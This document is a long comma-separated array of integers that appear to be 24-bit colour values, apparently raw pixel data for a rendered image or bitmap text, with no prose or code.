142,6684672,0,0,0,14950,6721718,11974288,6710842,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,11983835,16777215,16777215,16777215,14408630,9463354,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,3816038,9483995,16777215,16777215,16777215,16767963,11953722,3801088,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,58,9493503,16767888,3801146,9493503,16777142,6684672,0,58,9493503,16777142,6684672,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,26294,16777215,16767888,3801088,0,0,0,0,6731519,16777215,14389306,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,6731519,16777215,14389306,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777179,9452032,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16777215,16767963,14399078,3827382,16777215,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,102,11993087,16767888,3827382,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777215,14389306,0,26294,16777215,16777215,16777215,16777215,16777215,16777179,14399120,6699520,0,0,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777215,14389306,0,3838171,16777215,14389306,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,3827344,14417919,16777215,14389306,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,102,11993087,16777179,9452032,58,9493503,16777179,9452032,0,0,58,9493503,16777179,9452032,6731519,16758374,26294,16777142,6684774,11993087,16777142,6684672,0,0,0,102,11993087,16777179,14408703,16777215,11953664,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,26294,16777215,16767888,3801088,0,0,0,102,11993087,16777179,9452032,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16767888,3801088,0,0,0,58,9493503,16777215,11953664,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,14950,9483995,16777215,16777215,16777215,16777215,16777179,11964474,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,6731519,16777179,9452032,6731519,14389306,26294,16767888,3816080,14417919,16767888,3801088,0,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16758374,0,0,0,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,0,0,0,0,3816038,11983871,16777215,16758374,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,26294,16777215,16777179,9463354,3801088,0,0,0,58,9483958,11974288,6699520,0,0,0,0,14906,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,6731519,16777215,16758374,0,58,9493503,14389306,0,0,0,0,0,3827302,6721718,14417919,16777179,11953766,6710886,6710886,6710886,3801088,0,0,0,102,11993087,16777215,14389306,0,0,14992,14417919,16777215,11953664,0,0,26294,14408667,14408667,14408667,16777215,16777215,16767963,14408667,14408667,14399078,0,0,0,0,0,58,9483995,14408630,9452032,0,0,0,0,14992,14417919,16777215,14389306,0,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452090,9493503,16777215,14389350,3815994,3815994,3815994,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777142,6699520,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452032,3838171,16777179,9463354,6731519,16777179,9452032,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,6731519,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,6731483,16777215,16758374,0,58,9483995,16777215,16767926,9452032,3838171,16777179,9452090,9493503,16758374,0,0,58,9483995,16777215,16767926,9452032,6731519,16777215,16777215,16777215,16777179,9452032,0,58,6731483,16777215,16777179,9463354,3838171,16777179,9452090,9493503,16758374,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,14992,14417919,16767888,3801088,102,11993087,16777142,6684672,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,6731519,16777215,14389306,0,3838171,16777215,16758374,0,102,11993087,16767888,3827382,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,58,9493503,16777215,14389306,0,0,0,3838171,16777215,16777179,11983871,16777215,16758374,3801088,0,0,14992,14417919,16777142,6699622,11993087,16767888,3801088,0,58,9493503,16777215,14389306,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,14992,14417919,16777179,9452032,0,0,6731519,16777215,14389306,0,0,14992,14417919,16777215,14399078,0,0,102,11983871,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,102,11983871,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,102,11983871,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,102,11983871,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,102,11983871,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,102,11983871,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,58,9493503,16777215,11953664,0,0,0,0,26294,16777215,16777142,6684672,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,6731519,16767888,3801088,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16758374,0,0,0,26294,16777215,16767888,3801088,0,0,0,58,9493503,16777215,11953664,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983835,14417919,16777215,16777179,14408667,14408667,16777215,16777215,16767963,14408667,11953664,0,0,0,0,0,3838171,16777142,6684672,3838171,16777215,16767888,3801088,58,9493503,16777215,14389306,0,26294,16777215,16758374,3801088,26294,14417919,16767888,3827382,16777215,16767888,3801088,0,14992,14417919,16777215,16767963,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,3838171,16777215,16777179,9452032,58,9493503,16777215,16767888,3801088,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,3827382,14417919,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,3816038,6710886,6699520,0,0,0,0,102,11993087,16777179,9452032,0,6731519,16777215,14389306,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,58,9493503,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6721718,14417919,16777215,16777215,16777215,14399078,3801088,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,3827382,14417919,16777215,16777215,16777215,14399120,6699520,0,0,0,0,0,0,0,0,0,3815994,3801088,0,0,0,0,0,58,9493503,16767888,3801088,6731519,16777215,11953664,0,14992,14417919,16777142,6684672,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,0,3838171,16777215,16758374,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,102,11993087,16777215,11953664,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,58,9493503,16777179,9452032,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,58,9493503,16777215,16758374,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,0,6731519,16777179,9474230,16777215,16767888,3801088,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,0,3838171,16777215,14389306,0,0,58,9493503,16777215,16758374,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,11953664,102,11993087,16777142,6684672,0,0,0,6731519,16777215,11953722,9493503,14389306,14992,14417883,9452134,11993087,16777142,6684672,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777215,14389306,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16767926,9463354,3815994,3815994,3816080,11993087,16777142,6684672,0,0,26294,16777215,16767888,3801088,0,0,0,14992,14417919,16777179,9452032,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,6731519,16777215,16767926,11974326,11974326,11974326,11974326,11974326,11974326,11964518,3801088,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777142,6684672,0,0,0,58,9493503,16777215,11953664,102,11993087,16777179,9452032,0,0,0,0,6731519,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,14906,6721718,11983871,16777215,16777215,14389306,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,102,11993087,16777215,11953664,0,0,0,58,9493503,16777179,9452032,58,9493503,16777179,9452032,0,0,0,3838171,16777215,11953722,9493503,11953664,26294,16777142,6699664,14417919,16758374,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,58,9493503,16777215,11953664,0,6731519,16777215,11953664,0,0,0,0,0,14992,14417919,16777215,14389306,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,3838171,16777215,16758374,0,58,9493503,14389306,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,6731483,16777215,16777215,16777215,14408667,14408667,14417919,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,11953664,14992,14417919,16777215,16777215,16777215,16767888,3801190,11993087,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,6731483,16777215,16767888,3801088,0,3838171,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,11953664,3838171,16777179,9452032,102,11993087,16767888,3801190,11993087,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,6710886,6710886,6710928,11983871,16777179,11964518,6710886,6710886,6710886,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,6731519,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731483,16777215,16767888,3801088,0,3838171,16777215,16767926,6684672,58,9493503,16777215,14399120,3801088,0,6731519,16777142,6684730,9493503,16758374,0,58,9493503,16777215,14399078,3801088,0,14906,3801088,0,6731519,16777215,11953664,58,9493503,16777215,16767888,3801088,0,6731519,16777142,6684730,9493503,16758374,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,14389306,0,102,11993087,16777142,6684672,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,